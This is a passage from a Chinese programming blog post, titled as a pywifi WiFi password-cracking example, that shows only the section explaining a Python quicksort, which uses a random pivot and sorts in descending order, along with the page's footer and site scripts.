<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">quicksort</span>(<span class="params">array</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(array) &lt;= <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> array</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># 随机选择基准元素</span></span><br><span class="line">        pivot_index = random.randint(<span class="number">0</span>, <span class="built_in">len</span>(array) - <span class="number">1</span>)</span><br><span class="line">        pivot = array[pivot_index]</span><br><span class="line">        left = []  <span class="comment"># 小于基准的元素</span></span><br><span class="line">        right = []  <span class="comment"># 大于基准的元素</span></span><br><span class="line">        middle = []  <span class="comment"># 等于基准的元素</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> value <span class="keyword">in</span> array:</span><br><span class="line">            <span class="keyword">if</span> value &lt; pivot:</span><br><span class="line">                left.append(value)</span><br><span class="line">            <span class="keyword">elif</span> value &gt; pivot:</span><br><span class="line">                right.append(value)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                middle.append(value)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 将较大的元素放在前面</span></span><br><span class="line">        <span class="keyword">return</span> quicksort(right) + middle + quicksort(left)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行快速排序</span></span><br><span class="line">sorted_array = quicksort([<span class="number">3</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(sorted_array)</span><br></pre></td></tr></table></figure></div>

<p>大家可以把这一段代码复制到一个新的py文件中</p>
<p>快速排序的步骤：</p>
<ul>
<li>选择基准元素：通常是数组中间的元素，也可以是随机选择的元素</li>
<li>分区：根据基准把数组分成两部分，一部分小于基准，一部分大于基准</li>
<li>递归排序：递归地将上述步骤应用到基准左边和右边的子数组上。</li>
<li>合并：将排序好的两部分合并成一个数组</li>
</ul>
<p>我们的代码就是按照这个步骤来实现的。</p>
<p>假设我们<code>pivot_index</code>是<code>2</code>,那么我们选择的基准数就是<code>8</code>，那么递归数组，我们的<code>left</code>数组就是<code>[3, 6, 1, 2, 1]</code>，<code>right</code>数组就是<code>[10]</code>，<code>middle</code>数组就是<code>[8]</code>。</p>
<p>然后我们再递归排序<code>left</code>数组，<code>right</code>数组。</p>
<p><code>right</code>数组就一个数他会直接返回这个数组，而递归<code>left</code>数组，他就会按照上面的流程从新选择基准数，然后分区，然后再去调用自身，再去分区，直到排序完成。</p>
<p>这样说，并不直观，但是我们只要去调试代码，就能理解快速排序的原理。</p>
<p>所以，希望大家亲自去调试一下代码，看看它是如何工作的。</p>
<hr>
<p><strong>最后欣赏一下自己的成果吧！</strong></p>
<h1 id="如果你感觉这篇文章不错，而且财力充足的话，希望可以用爱发电支持一下作者，感谢支持！"><a href="#如果你感觉这篇文章不错，而且财力充足的话，希望可以用爱发电支持一下作者，感谢支持！" class="headerlink" title="如果你感觉这篇文章不错，而且财力充足的话，希望可以用爱发电支持一下作者，感谢支持！"></a>如果你感觉这篇文章不错，而且财力充足的话，希望可以用爱发电支持一下作者，感谢支持！</h1><blockquote>
<p>爱发电地址:<a class="link"   target="_blank" rel="noopener" href="https://afdian.com/a/AuroraBreeze" >https://afdian.com/a/AuroraBreeze <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>
</blockquote>

        </div>

        
            <div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
                <div class="article-copyright-info-container">
    <ul>
        <li><strong>标题:</strong> pywifi破解WiFi密码示例</li>
        <li><strong>作者:</strong> 西门啸雪</li>
        <li><strong>创建于
                :</strong> 2024-07-08 10:17:40</li>
        
            <li>
                <strong>更新于
                    :</strong> 2024-08-11 20:56:53
            </li>
        
        <li>
            <strong>链接:</strong> http://aurobreeze.top/2024/07/08/pywifi破解WiFi密码示例/
        </li>
        <li>
            <strong>
                版权声明:
            </strong>
            

            
                本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
            
        </li>
    </ul>
</div>

            </div>
        

        
            <ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
                
                    <li class="tag-item mx-0.5">
                        <a href="/tags/pywifi/">#pywifi</a>&nbsp;
                    </li>
                
            </ul>
        

        

        
            <div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
                
                    <div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
                        <a class="prev"
                        rel="prev"
                        href="/2024/07/09/%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/"
                        >
                            <span class="left arrow-icon flex justify-center items-center">
                                <i class="fa-solid fa-chevron-left"></i>
                            </span>
                            <span class="title flex justify-center items-center">
                                <span class="post-nav-title-item">排序算法</span>
                                <span class="post-nav-item">上一篇</span>
                            </span>
                        </a>
                    </div>
                
                
                    <div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
                        <a class="next"
                        rel="next"
                        href="/2024/06/21/python%E7%88%AC%E8%99%AB%E7%B3%BB%E5%88%97-beautifulsoup%E7%88%AC%E8%99%AB%E4%B8%8E%E7%BA%BF%E7%A8%8B%E6%B1%A0/"
                        >
                            <span class="title flex justify-center items-center">
                                <span class="post-nav-title-item">python爬虫系列:beautifulsoup爬虫与线程池</span>
                                <span class="post-nav-item">下一篇</span>
                            </span>
                            <span class="right arrow-icon flex justify-center items-center">
                                <i class="fa-solid fa-chevron-right"></i>
                            </span>
                        </a>
                    </div>
                
            </div>
        


        
            <div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
                <div class="comments-container mt-10 w-full ">
    <div id="comment-anchor" class="w-full h-2.5"></div>
    <div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
        评论
    </div>
    

        
            
    <div id="giscus-container"></div>
    <script data-swup-reload-script defer>
        async function loadGiscus() {
            const giscusConfig = {
                'src': 'https://giscus.app/client.js',
                'data-repo': 'ximenxiaoxue/new_blog_comment',
                'data-repo-id': 'R_kgDOMiDymw# Github repository id',
                'data-category': 'Announcements',
                'data-category-id': 'DIC_kwDOMiDym84Chisb',
                'data-mapping': 'title',
                'data-strict': '0',
                'data-reactions-enabled': '1',
                'data-emit-metadata': '1',
                'data-theme': 'preferred_color_scheme',
                'data-lang': 'zh-CN',
                'data-input-position': 'bottom',
                'data-loading': 'not-lazy',
                'crossorigin': 'anonymous',
                'async': true
            }
            const giscusScript = document.createElement('script');
            for (const key in giscusConfig) {
                giscusScript.setAttribute(key, giscusConfig[key]);
            }
            document.getElementById('giscus-container').appendChild(giscusScript);
        }
        if ('true') {
            let loadGiscusTimeout = setTimeout(() => {
                loadGiscus();
                clearTimeout(loadGiscusTimeout);
            }, 1000);
        } else {
            document.addEventListener('DOMContentLoaded', loadGiscus);
        }
    </script>


        
        
    
</div>

            </div>
        
    </div>

    
        <div class="toc-content-container">
            <div class="post-toc-wrap">
    <div class="post-toc">
        <div class="toc-title">此页目录</div>
        <div class="page-title">pywifi破解WiFi密码示例</div>
        <ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%89%8D%E8%A8%80"><span class="nav-text">前言</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#python%E4%BB%A3%E7%A0%81"><span class="nav-text">python代码</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%AD%A3%E6%96%87"><span class="nav-text">正文</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C"><span class="nav-text">准备工作</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%BB%A3%E7%A0%81%E8%A7%A3%E6%9E%90-%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90"><span class="nav-text">代码解析:思路分析</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%BB%A3%E7%A0%81%E8%A7%A3%E6%9E%90-pywifi%E5%BA%93%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8"><span class="nav-text">代码解析:pywifi库的基本使用</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%BB%A3%E7%A0%81%E8%A7%A3%E6%9E%90-%E4%BB%A3%E7%A0%81%E6%95%B4%E4%BD%93%E6%80%9D%E8%B7%AF"><span class="nav-text">代码解析:代码整体思路</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E4%BB%A3%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95"><span class="nav-text">代码解析:快速排序算法</span></a></li></ol></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%A6%82%E6%9E%9C%E4%BD%A0%E6%84%9F%E8%A7%89%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0%E4%B8%8D%E9%94%99%EF%BC%8C%E8%80%8C%E4%B8%94%E8%B4%A2%E5%8A%9B%E5%85%85%E8%B6%B3%E7%9A%84%E8%AF%9D%EF%BC%8C%E5%B8%8C%E6%9C%9B%E5%8F%AF%E4%BB%A5%E7%94%A8%E7%88%B1%E5%8F%91%E7%94%B5%E6%94%AF%E6%8C%81%E4%B8%80%E4%B8%8B%E4%BD%9C%E8%80%85%EF%BC%8C%E6%84%9F%E8%B0%A2%E6%94%AF%E6%8C%81%EF%BC%81"><span class="nav-text">如果你感觉这篇文章不错，而且财力充足的话，希望可以用爱发电支持一下作者，感谢支持！</span></a>

    </div>
</div>
        </div>
    
</div>



                

            </div>

            

        </div>

        <div class="main-content-footer">
            <footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
    <div class="info-container py-3 text-center">
        
        <div class="text-center">
            &copy;
            
              <span>2024</span>
              -
            
            2024&nbsp;&nbsp;<i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i>&nbsp;&nbsp;<a href="/">西门啸雪</a>
            
                
                <p class="post-count space-x-0.5">
                    <span>
                        共 10 篇文章
                    </span>
                    
                        <span>
                            共 27.2k 字
                        </span>
                    
                </p>
            
        </div>
        
            <script data-swup-reload-script src="https://cn.vercount.one/js"></script>
            <div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
                
                
            </div>
        
        <div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
            <span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
            <span class="text-sm lg:block">主题&nbsp;<a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.6.4</a></span>
        </div>
        
            <div class="icp-info my-1"><a target="_blank" rel="nofollow" href="
                
                    https://beian.miit.gov.cn/
                
                ">鲁ICP备2024112337号-1</a></div>
        
        
            <div>
                博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
            </div>
        
        
            <script data-swup-reload-script>
                try {
                    function odometer_init() {
                    const elements = document.querySelectorAll('.odometer');
                    elements.forEach(el => {
                        new Odometer({
                            el,
                            format: '( ddd).dd',
                            duration: 200
                        });
                    });
                    }
                    odometer_init();
                } catch (error) {}
            </script>
        
        
        
    </div>  
</footer>
        </div>
    </div>

    
        <div class="post-tools">
            <div class="post-tools-container">
    <ul class="article-tools-list">
        <!-- TOC aside toggle -->
        
            <li class="right-bottom-tools page-aside-toggle">
                <i class="fa-regular fa-outdent"></i>
            </li>
        

        <!-- go comment -->
        
            <li class="go-comment">
                <i class="fa-regular fa-comments"></i>
            </li>
        
    </ul>
</div>

        </div>
    

    <div class="right-side-tools-container">
        <div class="side-tools-container">
    <ul class="hidden-tools-list">
        <li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
            <i class="fa-regular fa-magnifying-glass-plus"></i>
        </li>

        <li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
            <i class="fa-regular fa-magnifying-glass-minus"></i>
        </li>

        <li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
            <i class="fa-regular fa-moon"></i>
        </li>

        <!-- rss -->
        

        

        <li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
            <i class="fa-regular fa-arrow-down"></i>
        </li>
    </ul>

    <ul class="visible-tools-list">
        <li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
            <i class="fa-regular fa-cog fa-spin"></i>
        </li>
        
            <li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
                <i class="arrow-up fas fa-arrow-up"></i>
                <span class="percent"></span>
            </li>
        
        
    </ul>
</div>

    </div>

    <div class="image-viewer-container">
    <img src="">
</div>


    
        <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
          <span class="search-input-field-pre">
            <i class="fa-solid fa-keyboard"></i>
          </span>
            <div class="search-input-container">
                <input autocomplete="off"
                       autocorrect="off"
                       autocapitalize="off"
                       placeholder="搜索..."
                       spellcheck="false"
                       type="search"
                       class="search-input"
                >
            </div>
            <span class="popup-btn-close">
                <i class="fa-solid fa-times"></i>
            </span>
        </div>
        <div id="search-result">
            <div id="no-result">
                <i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
            </div>
        </div>
    </div>
</div>

    

</main>


    
<script src="/js/libs/Swup.min.js"></script>

<script src="/js/libs/SwupSlideTheme.min.js"></script>

<script src="/js/libs/SwupScriptsPlugin.min.js"></script>

<script src="/js/libs/SwupProgressPlugin.min.js"></script>

<script src="/js/libs/SwupScrollPlugin.min.js"></script>

<script src="/js/libs/SwupPreloadPlugin.min.js"></script>

<script>
    const swup = new Swup({
        plugins: [
            new SwupScriptsPlugin({
                optin: true,
            }),
            new SwupProgressPlugin(),
            new SwupScrollPlugin({
                offset: 80,
            }),
            new SwupSlideTheme({
                mainElement: ".main-content-body",
            }),
            new SwupPreloadPlugin(),
        ],
        containers: ["#swup"],
    });
</script>







<script src="/js/tools/imageViewer.js" type="module"></script>

<script src="/js/utils.js" type="module"></script>

<script src="/js/main.js" type="module"></script>

<script src="/js/layouts/navbarShrink.js" type="module"></script>

<script src="/js/tools/scrollTopBottom.js" type="module"></script>

<script src="/js/tools/lightDarkSwitch.js" type="module"></script>

<script src="/js/layouts/categoryList.js" type="module"></script>



    
<script src="/js/tools/localSearch.js" type="module"></script>




    
<script src="/js/tools/codeBlock.js" type="module"></script>




    
<script src="/js/layouts/lazyload.js" type="module"></script>




    
<script src="/js/tools/runtime.js"></script>

    
<script src="/js/libs/odometer.min.js"></script>

    
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">




  
<script src="/js/libs/Typed.min.js"></script>

  
<script src="/js/plugins/typed.js" type="module"></script>









<div class="post-scripts" data-swup-reload-script>
    
        
<script src="/js/tools/tocToggle.js" type="module"></script>

<script src="/js/layouts/toc.js" type="module"></script>

<script src="/js/plugins/tabs.js" type="module"></script>

    
</div>


</body>
</html>
